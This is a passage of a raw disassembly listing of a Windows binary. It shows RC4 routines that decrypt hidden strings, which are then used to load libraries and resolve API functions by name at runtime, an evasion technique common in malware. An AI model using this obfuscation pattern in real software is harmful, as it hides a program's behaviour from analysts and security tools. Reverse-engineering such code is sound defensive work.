		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SetHandleInformation. PRESS KEYPAD "+" TO	EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13B40	proc near		; DATA XREF: CODE:000150D0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_13B65
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_17660
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13B6C


loc_13B64:				; CODE XREF: sub_13B40+2Aj
		retn
; ---------------------------------------------------------------------------


loc_13B65:				; DATA XREF: sub_13B40+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13B64
; ---------------------------------------------------------------------------


loc_13B6C:				; CODE XREF: sub_13B40:loc_13B64j
					; DATA XREF: sub_13B40+1Fo
		pop	ebp
		retn
sub_13B40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13B70	proc near		; DATA XREF: CODE:000150CCo
		sub	ds:dword_17660,	1
		retn
sub_13B70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13B78	proc near		; CODE XREF: sub_13D74+1Bp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_135F4
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+100h], 0
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+101h], 0
		mov	[ebp+var_A], 0


loc_13BA7:				; CODE XREF: sub_13B78+44j
		xor	eax, eax
		mov	al, [ebp+var_A]
		mov	edx, [ebp+var_4]
		mov	cl, [ebp+var_A]
		mov	[edx+eax], cl
		inc	[ebp+var_A]
		cmp	[ebp+var_A], 0
		jnz	short loc_13BA7
		mov	[ebp+var_9], 0
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_A], 0


loc_13BCB:				; CODE XREF: sub_13B78+C7j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_14]
		jge	short loc_13BE1
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_10]
		mov	al, [eax+edx]
		mov	[ebp+var_C], al
		jmp	short loc_13BE5
; ---------------------------------------------------------------------------


loc_13BE1:				; CODE XREF: sub_13B78+59j
		mov	[ebp+var_C], 0


loc_13BE5:				; CODE XREF: sub_13B78+67j
		inc	[ebp+var_10]
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_14]
		jl	short loc_13BF5
		xor	eax, eax
		mov	[ebp+var_10], eax


loc_13BF5:				; CODE XREF: sub_13B78+76j
		xor	eax, eax
		mov	al, [ebp+var_A]
		mov	edx, [ebp+var_4]
		mov	al, [edx+eax]
		add	al, [ebp+var_C]
		add	[ebp+var_9], al
		xor	eax, eax
		mov	al, [ebp+var_A]
		mov	edx, [ebp+var_4]
		mov	al, [edx+eax]
		mov	[ebp+var_B], al
		xor	eax, eax
		mov	al, [ebp+var_9]
		mov	edx, [ebp+var_4]
		mov	al, [edx+eax]
		xor	edx, edx
		mov	dl, [ebp+var_A]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edx], al
		xor	eax, eax
		mov	al, [ebp+var_9]
		mov	edx, [ebp+var_4]
		mov	cl, [ebp+var_B]
		mov	[edx+eax], cl
		inc	[ebp+var_A]
		cmp	[ebp+var_A], 0
		jnz	short loc_13BCB
		mov	esp, ebp
		pop	ebp
		retn
sub_13B78	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13C48	proc near		; CODE XREF: sub_13D74+52p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	edx, 102h
		call	sub_12B28
		pop	ecx
		pop	ebp
		retn
sub_13C48	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13C64	proc near		; CODE XREF: sub_13D28+40p

var_18		= dword	ptr -18h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		dec	eax
		test	eax, eax
		jl	loc_13D21
		inc	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_10], 0


loc_13C8A:				; CODE XREF: sub_13C64+B7j
		mov	eax, [ebp+var_4]
		inc	byte ptr [eax+100h]
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+100h]
		mov	edx, [ebp+var_4]
		mov	al, [edx+eax]
		mov	[ebp+var_11], al
		mov	eax, [ebp+var_4]
		mov	dl, [ebp+var_11]
		add	[eax+101h], dl
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+101h]
		mov	edx, [ebp+var_4]
		mov	al, [edx+eax]
		mov	edx, [ebp+var_4]
		movzx	edx, byte ptr [edx+100h]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edx], al
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+101h]
		mov	edx, [ebp+var_4]
		mov	cl, [ebp+var_11]
		mov	[edx+eax], cl
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+100h]
		mov	edx, [ebp+var_4]
		mov	al, [edx+eax]
		add	[ebp+var_11], al
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_10]
		mov	al, [eax+edx]
		xor	edx, edx
		mov	dl, [ebp+var_11]
		mov	ecx, [ebp+var_4]
		xor	al, [ecx+edx]
		mov	edx, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		mov	[edx+ecx], al
		inc	[ebp+var_10]
		dec	[ebp+var_18]
		jnz	loc_13C8A


loc_13D21:				; CODE XREF: sub_13C64+15j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_13C64	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13D28	proc near		; CODE XREF: sub_13D74+3Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_8]
		call	sub_135F4
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_10]
		call	sub_136A8
		mov	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_C]
		call	sub_136A0
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_13650
		mov	edx, eax
		mov	eax, [ebp+var_4]
		pop	ecx
		call	sub_13C64
		mov	esp, ebp
		pop	ebp
		retn
sub_13D28	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13D74	proc near		; CODE XREF: sub_13F18+30p
					; sub_13F18+59p ...

var_10E		= byte ptr -10Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF0h
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_10E]
		mov	edx, [ebp+var_8]
		call	sub_13B78
		xor	eax, eax
		push	ebp
		push	offset loc_13DCC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ecx, [ebp+var_C]
		lea	eax, [ebp+var_10E]
		mov	edx, [ebp+var_4]
		call	sub_13D28
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13DD3


loc_13DC0:				; CODE XREF: sub_13D74+5Dj
		lea	eax, [ebp+var_10E]
		call	sub_13C48
		retn
; ---------------------------------------------------------------------------


loc_13DCC:				; DATA XREF: sub_13D74+23o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13DC0
; ---------------------------------------------------------------------------


loc_13DD3:				; CODE XREF: sub_13D74+57j
					; DATA XREF: sub_13D74+47o
		mov	esp, ebp
		pop	ebp
		retn
sub_13D74	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13DD8	proc near		; DATA XREF: CODE:000150D8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_13DFD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_17664
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13E04


loc_13DFC:				; CODE XREF: sub_13DD8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_13DFD:				; DATA XREF: sub_13DD8+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13DFC
; ---------------------------------------------------------------------------


loc_13E04:				; CODE XREF: sub_13DD8:loc_13DFCj
					; DATA XREF: sub_13DD8+1Fo
		pop	ebp
		retn
sub_13DD8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_13E08	proc near		; DATA XREF: CODE:000150D4o
		sub	ds:dword_17664,	1
		retn
sub_13E08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13E10	proc near		; DATA XREF: CODE:000150E0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_13E35
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_17668
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13E3C


loc_13E34:				; CODE XREF: sub_13E10+2Aj
		retn
; ---------------------------------------------------------------------------


loc_13E35:				; DATA XREF: sub_13E10+6o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13E34
; ---------------------------------------------------------------------------


loc_13E3C:				; CODE XREF: sub_13E10:loc_13E34j
					; DATA XREF: sub_13E10+1Fo
		pop	ebp
		retn
sub_13E10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_13E40	proc near		; DATA XREF: CODE:000150DCo
		sub	ds:dword_17668,	1
		retn
sub_13E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13E48	proc near		; CODE XREF: sub_13EE0+Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		xor	ecx, ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_13640
		xor	eax, eax
		push	ebp
		push	offset loc_13ED2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_135F4
		test	eax, eax
		jle	short loc_13EB4
		mov	[ebp+var_14], eax
		mov	[ebp+var_C], 1


loc_13E85:				; CODE XREF: sub_13E48+6Aj
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_C]
		mov	al, [eax+edx-1]
		mov	[ebp+var_D], al
		lea	eax, [ebp+var_18]
		mov	dl, [ebp+var_D]
		dec	edx
		call	sub_135CC
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+var_8]
		call	sub_135FC
		mov	eax, [ebp+var_8]
		inc	[ebp+var_C]
		dec	[ebp+var_14]
		jnz	short loc_13E85


loc_13EB4:				; CODE XREF: sub_13E48+31j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_13ED9


loc_13EC1:				; CODE XREF: sub_13E48+8Fj
		lea	eax, [ebp+var_18]
		call	sub_134D8
		lea	eax, [ebp+var_4]
		call	sub_134D8
		retn
; ---------------------------------------------------------------------------


loc_13ED2:				; DATA XREF: sub_13E48+1Co
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_13EC1
; ---------------------------------------------------------------------------


loc_13ED9:				; CODE XREF: sub_13E48+89j
					; DATA XREF: sub_13E48+74o
		mov	esp, ebp
		pop	ebp
		retn
sub_13E48	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13EE0	proc near		; CODE XREF: sub_13F18+20p
					; sub_13F18+49p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		mov	edx, [ebp+var_4]
		mov	eax, offset dword_13F00
		call	sub_13E48
		pop	ecx
		pop	ebp
		retn
sub_13EE0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 14h
dword_13F00	dd 7F585D70h, 257A5D36h, 7B7A2E27h, 65705834h, 4A503D35h
					; DATA XREF: sub_13EE0+Ao
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_13F18	proc near		; CODE XREF: CODE:00015163p

var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
hModule		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 0Fh


loc_13F20:				; CODE XREF: sub_13F18+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_13F20
		xor	eax, eax
		push	ebp
		push	offset loc_141EB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		call	sub_13EE0
		mov	edx, [ebp+var_10]
		lea	ecx, [ebp+var_C]
		mov	eax, offset dword_14200
		call	sub_13D74
		mov	eax, [ebp+var_C]
		call	sub_13650
		push	eax		; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	[ebp+hModule], eax
		lea	eax, [ebp+var_18]
		call	sub_13EE0
		mov	edx, [ebp+var_18]
		lea	ecx, [ebp+var_14]
		mov	eax, offset dword_14218
		call	sub_13D74
		mov	eax, [ebp+var_14]
		call	sub_13650
		push	eax		; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		call	sub_13EE0
		mov	edx, [ebp+var_20]
		lea	ecx, [ebp+var_1C]
		mov	eax, offset dword_14230
		call	sub_13D74
		mov	eax, [ebp+var_1C]
		call	sub_13650
		push	eax		; lpProcName
		mov	eax, [ebp+hModule]
		push	eax		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	ds:dword_17688,	eax
		lea	eax, [ebp+var_28]
		call	sub_13EE0
		mov	edx, [ebp+var_28]
		lea	ecx, [ebp+var_24]
		mov	eax, offset dword_14248
		call	sub_13D74
		mov	eax, [ebp+var_24]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_17694,	eax
		lea	eax, [ebp+var_30]
		call	sub_13EE0
		mov	edx, [ebp+var_30]
		lea	ecx, [ebp+var_2C]
		mov	eax, offset dword_14260
		call	sub_13D74
		mov	eax, [ebp+var_2C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_17698,	eax
		lea	eax, [ebp+var_38]
		call	sub_13EE0
		mov	edx, [ebp+var_38]
		lea	ecx, [ebp+var_34]
		mov	eax, offset dword_14278
		call	sub_13D74
		mov	eax, [ebp+var_34]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_1769C,	eax
		lea	eax, [ebp+var_40]
		call	sub_13EE0
		mov	edx, [ebp+var_40]
		lea	ecx, [ebp+var_3C]
		mov	eax, offset dword_14290
		call	sub_13D74
		mov	eax, [ebp+var_3C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_176A0,	eax
		lea	eax, [ebp+var_48]
		call	sub_13EE0
		mov	edx, [ebp+var_48]
		lea	ecx, [ebp+var_44]
		mov	eax, offset dword_142A8
		call	sub_13D74
		mov	eax, [ebp+var_44]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_176B4,	eax
		lea	eax, [ebp+var_50]
		call	sub_13EE0
		mov	edx, [ebp+var_50]
		lea	ecx, [ebp+var_4C]
		mov	eax, offset dword_142BC
		call	sub_13D74
		mov	eax, [ebp+var_4C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_176B0,	eax
		lea	eax, [ebp+var_58]
		call	sub_13EE0
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_54]
		mov	eax, offset dword_142D4
		call	sub_13D74
		mov	eax, [ebp+var_54]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_176A8,	eax
		lea	eax, [ebp+var_60]
		call	sub_13EE0
		mov	edx, [ebp+var_60]
		lea	ecx, [ebp+var_5C]
		mov	eax, offset dword_142E8
		call	sub_13D74
		mov	eax, [ebp+var_5C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_176B8,	eax
		lea	eax, [ebp+var_68]
		call	sub_13EE0
		mov	edx, [ebp+var_68]
		lea	ecx, [ebp+var_64]
		mov	eax, offset dword_14304
		call	sub_13D74
		mov	eax, [ebp+var_64]
		call	sub_13650
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_176BC,	eax
		lea	eax, [ebp+var_70]
		call	sub_13EE0
		mov	edx, [ebp+var_70]
		lea	ecx, [ebp+var_6C]
		mov	eax, offset dword_1431C
		call	sub_13D74
		mov	eax, [ebp+var_6C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_176C4,	eax
		lea	eax, [ebp+var_78]
		call	sub_13EE0
		mov	edx, [ebp+var_78]
		lea	ecx, [ebp+var_74]
		mov	eax, offset dword_14338
		call	sub_13D74
		mov	eax, [ebp+var_74]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_176C0,	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_176A8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_141F2


loc_141DD:				; CODE XREF: sub_13F18+2D8j
		lea	eax, [ebp+var_78]
		mov	edx, 1Ch
		call	sub_134FC
		retn
; ---------------------------------------------------------------------------


loc_141EB:				; DATA XREF: sub_13F18+12o
		jmp	loc_12F4C
; ---------------------------------------------------------------------------
		jmp	short loc_141DD
; ---------------------------------------------------------------------------


loc_141F2:				; CODE XREF: sub_13F18+2D2j
					; DATA XREF: sub_13F18+2C0o
		mov	esp, ebp
		pop	ebp
		retn
sub_13F18	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_14200	dd 800B2905h, 81D7DC07h, 0AE402AF0h, 0		dd 0FFFFFFFFh, 0Ch
dword_14218	dd 8F0F280Fh, 81D7D912h, 0AE402AF0h, 0		dd 0FFFFFFFFh, 0Eh
dword_14230	dd 0BE0D2929h, 0F287DF10h, 0A75E2ABAh, 478h, 0FFFFFFFFh
					; DATA XREF: sub_13F18+7Do
		dd 0Dh
dword_14248	dd 8A172528h, 0DC97D530h, 0A74F3CABh, 4Ah, 0FFFFFFFFh
					; DATA XREF: sub_13F18+ACo
		dd 0Ch
dword_14260	dd 851A2322h, 0DC97D530h, 0A74F3CABh, 0		dd 0FFFFFFFFh, 0Ch
dword_14278	dd 8A182322h, 0DC97D530h, 0A74F3CABh, 0		dd 0FFFFFFFFh, 0Eh
dword_14290	dd 8B03253Dh, 0D6B6D60Dh, 0B05921ADh, 1268h, 0FFFFFFFFh
					; DATA XREF: sub_13F18+13Co
		dd 0Bh
dword_142A8	dd 9A10342Bh, 0D08BC232h, 5F3DBBh, 0FFFFFFFFh, 0Ch
					; DATA XREF: sub_13F18+16Co
dword_142BC	dd 8B1C3E28h, 0DC97D530h, 0A74F3CABh, 0		dd 0FFFFFFFFh, 0Bh
dword_142D4	dd 8B1C3E28h, 0C186D92Eh, 553CBFh, 0FFFFFFFFh, 12h
					; DATA XREF: sub_13F18+1CCo
dword_142E8	dd 0A80D2929h, 0F281DC0Bh, 0AB5E3AAAh, 16BE0269h, 0A0Ah
					; DATA XREF: sub_13F18+1FCo
		dd 0FFFFFFFFh, 0Ch
dword_14304	dd 0BB0D2929h, 0FD96D511h, 834923BFh, 0		dd 0FFFFFFFFh, 10h
dword_1431C	dd 0AD0D2929h, 0C694DD0Dh, 8C5E2BAAh, 32AF1A6Ah, 0
					; DATA XREF: sub_13F18+25Co
		dd 0FFFFFFFFh, 10h
dword_14338	dd 0A30D2929h, 0DF91D40Dh, 0AC4D06BBh, 32AF1B6Fh, 0
					; DATA XREF: sub_13F18+28Co

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1434C	proc near		; CODE XREF: sub_14B48+30p

var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
hModule		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 10h


loc_14354:				; CODE XREF: sub_1434C+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_14354
		xor	eax, eax
		push	ebp
		push	offset loc_14659
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_10]
		call	sub_13EE0
		mov	edx, [ebp+var_10]
		lea	ecx, [ebp+var_C]
		mov	eax, offset dword_1466C
		call	sub_13D74
		mov	eax, [ebp+var_C]
		call	sub_13650
		push	eax		; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	[ebp+hModule], eax
		lea	eax, [ebp+var_18]
		call	sub_13EE0
		mov	edx, [ebp+var_18]
		lea	ecx, [ebp+var_14]
		mov	eax, offset dword_14684
		call	sub_13D74
		mov	eax, [ebp+var_14]
		call	sub_13650
		push	eax		; lpLibFileName
		call	LoadLibraryA	; LoadLibraryA
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		call	sub_13EE0
		mov	edx, [ebp+var_20]
		lea	ecx, [ebp+var_1C]
		mov	eax, offset dword_14698
		call	sub_13D74
		mov	eax, [ebp+var_1C]
		call	sub_13650
		push	eax		; lpProcName
		mov	eax, [ebp+hModule]
		push	eax		; hModule
		call	GetProcAddress	; GetProcAddress
		mov	ds:dword_17688,	eax
		lea	eax, [ebp+var_28]
		call	sub_13EE0
		mov	edx, [ebp+var_28]
		lea	ecx, [ebp+var_24]
		mov	eax, offset dword_146B0
		call	sub_13D74
		mov	eax, [ebp+var_24]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_1768C,	eax
		lea	eax, [ebp+var_30]
		call	sub_13EE0
		mov	edx, [ebp+var_30]
		lea	ecx, [ebp+var_2C]
		mov	eax, offset dword_146CC
		call	sub_13D74
		mov	eax, [ebp+var_2C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_1766C,	eax
		lea	eax, [ebp+var_38]
		call	sub_13EE0
		mov	edx, [ebp+var_38]
		lea	ecx, [ebp+var_34]
		mov	eax, offset dword_146E4
		call	sub_13D74
		mov	eax, [ebp+var_34]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_17670,	eax
		lea	eax, [ebp+var_40]
		call	sub_13EE0
		mov	edx, [ebp+var_40]
		lea	ecx, [ebp+var_3C]
		mov	eax, offset dword_14700
		call	sub_13D74
		mov	eax, [ebp+var_3C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_17678,	eax
		lea	eax, [ebp+var_48]
		call	sub_13EE0
		mov	edx, [ebp+var_48]
		lea	ecx, [ebp+var_44]
		mov	eax, offset dword_1471C
		call	sub_13D74
		mov	eax, [ebp+var_44]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_1767C,	eax
		lea	eax, [ebp+var_50]
		call	sub_13EE0
		mov	edx, [ebp+var_50]
		lea	ecx, [ebp+var_4C]
		mov	eax, offset dword_14738
		call	sub_13D74
		mov	eax, [ebp+var_4C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_17680,	eax
		lea	eax, [ebp+var_58]
		call	sub_13EE0
		mov	edx, [ebp+var_58]
		lea	ecx, [ebp+var_54]
		mov	eax, offset dword_14750
		call	sub_13D74
		mov	eax, [ebp+var_54]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_176A8,	eax
		lea	eax, [ebp+var_60]
		call	sub_13EE0
		mov	edx, [ebp+var_60]
		lea	ecx, [ebp+var_5C]
		mov	eax, offset dword_14764
		call	sub_13D74
		mov	eax, [ebp+var_5C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_17684,	eax
		lea	eax, [ebp+var_68]
		call	sub_13EE0
		mov	edx, [ebp+var_68]
		lea	ecx, [ebp+var_64]
		mov	eax, offset dword_14780
		call	sub_13D74
		mov	eax, [ebp+var_64]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_17674,	eax
		lea	eax, [ebp+var_70]
		call	sub_13EE0
		mov	edx, [ebp+var_70]
		lea	ecx, [ebp+var_6C]
		mov	eax, offset dword_14798
		call	sub_13D74
		mov	eax, [ebp+var_6C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_17690,	eax
		lea	eax, [ebp+var_78]
		call	sub_13EE0
		mov	edx, [ebp+var_78]
		lea	ecx, [ebp+var_74]
		mov	eax, offset dword_147B8
		call	sub_13D74
		mov	eax, [ebp+var_74]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_176AC,	eax
		lea	eax, [ebp+var_80]
		call	sub_13EE0
		mov	edx, [ebp+var_80]
		mov	eax, offset dword_146E4
		lea	ecx, [ebp+var_7C]
		call	sub_13D74
		mov	eax, [ebp+var_7C]
		call	sub_13650
		push	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_17688
		mov	ds:dword_17670,	eax
		mov	eax, [ebp+hModule]
		push	eax
		call	ds:dword_176A8
		mov	eax, [ebp+var_8]
		push	eax
		call	ds:dword_176A8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_14660


loc_1464B:				; CODE XREF: sub_1434C+312j
		lea	eax, [ebp+var_80]
		mov	edx, 1Eh
		call	sub_134FC
		retn
; ---------------------------------------------------------------------------


